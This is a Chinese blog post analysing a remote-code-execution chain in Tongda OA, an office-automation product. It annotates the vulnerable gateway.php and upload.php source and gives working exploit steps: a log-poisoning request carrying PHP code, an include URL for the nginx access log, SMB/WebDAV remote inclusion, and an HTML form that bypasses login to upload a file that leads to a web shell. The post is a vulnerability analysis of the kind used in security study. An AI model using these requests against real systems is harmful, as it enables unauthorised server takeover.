美文网首页
# 通达OA 最新RCE漏洞的简单分析

# 通达OA 最新RCE漏洞的简单分析

作者: 挖低危的清风 | 来源:发表于2020-03-24 17:57 被阅读0次

    通达OA 最新RCE漏洞的简单分析

    本文首发于I春秋

    前言

    最近工作比较忙,本来上周看到这个漏洞的时候就想学习一下,结果因为各种事,一直拖着,正好趁今天有点时间,来简单学习一下。楼主也是最近才学习PHP,所以肯定有很多不足之处。这篇文章既是分享,也是在督促自己学习。

    漏洞点1,文件包含:

    漏洞地址:/ispirit/interface/gateway.php

    <?php
    
    ob_start();
    include_once "inc/session.php";
    include_once "inc/conn.php";
    include_once "inc/utility_org.php";
    //$P不为空的时候才进行登录状态的判断。如果不传递$P则可直接绕过这部分的判断。
    if ($P != "") {
            if (preg_match("/[^a-z0-9;]+/i", $P)) {
                    echo _("非法参数");
                    exit();
            }
    
            session_id($P);
            session_start();
            session_write_close();
            if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
                    echo _("RELOGIN");
                    exit();
            }
    }
    
    if ($json) {
            $json = stripcslashes($json);//stripcslashes 删除数据中的反斜杠
            $json = (array) json_decode($json); //将传递的字符串转换为数组
            /*
            例子:
            $a = array('Tom','Mary','Peter','Jack');
            foreach ($a as $value) {
              echo $value."<br/>";
            }
            输出结果为:
            Tom
            Mary
            Peter
            Jack        
            而使用
            foreach ($a as $key => $value) {
              echo $key.','.$value."<br/>";
            }
            输出结果为:
            0,Tom
            1,Mary
            2,Peter
            3,Jack
            */
            foreach ($json as $key => $val ) { //遍历给定的 数组语句$json数组。每次循环中,同时当前单元的键名也会在每次循环中被赋给变量 $key
                    if ($key == "data") {
                            $val = (array) $val;
    
                            foreach ($val as $keys => $value ) {
                                    $keys = $value;
                            }
                    }
    
                    if ($key == "url") { //当传递过来的数组中,包含url这个关键值则将其赋值给url
                            $url = $val;
                    }
            }
    
            if ($url != "") {
                    if (substr($url, 0, 1) == "/") { 
                            $url = substr($url, 1);
          //这里截取url中的0,1字段,如果为/,则再次进行截断,从第二位开始截取之后的值
          //如$url = "/http://",这时满足if,最后url输出的值为http://
                    }
    
                    if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
                            include_once $url;
          /*
          strpos函数的作业是判断字符串中,是否含有某些字符串,而 !== false 这种判断是不严谨的,因为只要在URL中包含这些字符串就能绕过它的限制。
          这里可以看到,如果我们传递的URL中包含这些字符串,那么就能进入到include_once 这一步。(include 文件包含漏洞)
          */
                    }
            }
    
            exit();
    }
    
    ?>
    

    总结

    只有包含$P 才会进入到身份验证。并且传递的json数据中,需要有url这个关键值。最后value中需要包含general/,ispirit/,module/,才能进入到利用点。
    到这里利用思路应该清晰了:
    a. 包含日志
    b. 远程文件包含,通过SMB或者webdav进行bypass
    c. 包含上传文件

    利用

    1.包含日志,从通达OA的安装来看,其使用了Nginx,且开启了日志,那么我们访问的记录都会被记录到Nginx 的log日志中。(实测成功率不太高,可能是我姿势不够骚,不过是一种很好的思路)

    访问
    /ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
    然后通过如下url进行文件包含利用
    /ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
    

    2.远程文件包含,首先我们知道要满足远程文件包含,需要双ON的情况下才可以。那么,通达OA很明显是不满足的。之前看了篇文章,利用SMB匿名共享来绕过这个限制。

    image
    2.1 开启smb共享,参考(https://xz.aliyun.com/t/5139 image
    image
    2.2 远程包含,成功执行 image
    2.3 webdav的同理,这里不做演示了。

    漏洞点2,前台文件上传:

    漏洞地址:ispirit/im/upload.php

    <?php
    
    set_time_limit(0);
    $P = $_POST["P"];
    if (isset($P) || ($P != "")) {
            ob_start();
            include_once "inc/session.php";
            session_id($P);
            session_start();
            session_write_close();
    }
    else {
            include_once "./auth.php";
    }
    
    
    include_once "inc/utility_file.php";
    include_once "inc/utility_msg.php";
    include_once "mobile/inc/funcs.php";
    ob_end_clean();
    $TYPE = $_POST["TYPE"];
    $DEST_UID = $_POST["DEST_UID"];
    $dataBack = array();
    if (($DEST_UID != "") && !td_verify_ids($ids)) {
            $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
            echo json_encode(data2utf8($dataBack));
            exit();
    }
    
    if (strpos($DEST_UID, ",") !== false) {
    }
    else {
            $DEST_UID = intval($DEST_UID);
    }
    
    if ($DEST_UID == 0) {
            if ($UPLOAD_MODE != 2) {
                    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
                    echo json_encode(data2utf8($dataBack));
                    exit();
            }
    }
    
    $MODULE = "im";
    
    if (1 <= count($_FILES)) {
            if ($UPLOAD_MODE == "1") {
                    if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
                            $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
                    }
            }
    
            $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
    
            if (!is_array($ATTACHMENTS)) {
                    $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
                    echo json_encode(data2utf8($dataBack));
                    exit();
            }
    
            ob_end_clean();
            $ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
            $ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);
    
            if ($TYPE == "mobile") {
                    $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
            }
    }
    else {
            $dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
            echo json_encode(data2utf8($dataBack));
            exit();
    }
    
    $FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
    
    if (!$FILE_SIZE) {
            $dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
            echo json_encode(data2utf8($dataBack));
            exit();
    }
    
    if ($UPLOAD_MODE == "1") {
            if (is_thumbable($ATTACHMENT_NAME)) {
                    $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                    $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                    CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
    
            $P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
            $MSG_CATE = $_POST["MSG_CATE"];
    
            if ($MSG_CATE == "file") {
                    $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
            }
            else if ($MSG_CATE == "image") {
                    $CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
            }
            else {
                    $DURATION = intval($DURATION);
                    $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
            }
    
            $AID = 0;
            $POS = strpos($ATTACHMENT_ID, "@");
    
            if ($POS !== false) {
                    $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
            }
    
            $query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
    
            if ($cursor === false) {
                    $dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
                    echo json_encode(data2utf8($dataBack));
                    exit();
            }
    
            $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
            echo json_encode(data2utf8($dataBack));
            exit();
    }
    else if ($UPLOAD_MODE == "2") {
            $DURATION = intval($_POST["DURATION"]);
            $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
            $query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
            $cursor = exequery(TD::conn(), $query);
            echo "+OK " . $CONTENT;
    }
    else if ($UPLOAD_MODE == "3") {
            if (is_thumbable($ATTACHMENT_NAME)) {
                    $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                    $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                    CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
    
            echo "+OK " . $ATTACHMENT_ID;
    }
    else {
            $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
            $msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
            $query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
    
            if ($cursor === false) {
                    echo "-ERR " . _("数据库操作失败");
                    exit();
            }
    
            if ($FILE_ID == 0) {
                    echo "-ERR " . _("数据库操作失败2");
                    exit();
            }
    
            echo "+OK ," . $FILE_ID . "," . $msg_id;
            exit();
    }
    
    ?>
    
    

    分析:

    auth.php 为登录状态判断的页面
    接收POST传递的参数P,如果P不为空,就不会进入到登录状态判断。
    所以,我们只要在POST参数中传递$P为任意值就能绕过限制

    image
    这里我们写个上传页面来测试一下
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Title</title>
    </head>
    <body>
    
    <h1>hello worlds</h1>
    <form action="http://192.168.52.128/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
                    <p><input type="hidden" name="P"></p>
        <p><input type="file" name="upload"></p>
        <p><input type="submit" value="submit"></p>
    </form>
    
    </body>
    </html>
    

    然后抓包查看一下,提示接收方ID无效

    image
    这个时候,我们在看下代码,代码中需要POST传递两个参数 TYPE(type这个从上下文中看,并不关键) 和 DEST_UID,而且当DEST_UID = 0的时候,UPLOAD_MODE必须为2,否则也会提示无效。 image
    我们接着往下看代码,从这里得知,我们上传文件的时候,应该讲file的name设置ATTACHMENT,否则也会上传失败。 image
    那么这个时候,我们抓包修改一下参数,就实现了前台文件上传。 image
    这个时候,我们全局搜索一下上传的文件,发现在attach/im/2003中,这里上图的返回值中也能看出来,2003代表目录,866代表文件名 image

    总结

    其实前台上传并没有太多难点,而之所以它在这里算做一个漏洞,是因为配合了文件包含漏洞,通过文件包含解析上传文件中的PHP代码而形成一个完整的攻击链

    利用

    到这里这次两个漏洞的利用链就完整起来了。通过前台文件上传+文件包含实现getshell。

    image

    相关文章

      网友评论

          本文标题:# 通达OA 最新RCE漏洞的简单分析

          本文链接:https://www.haomeiwen.com/subject/ddlayhtx.html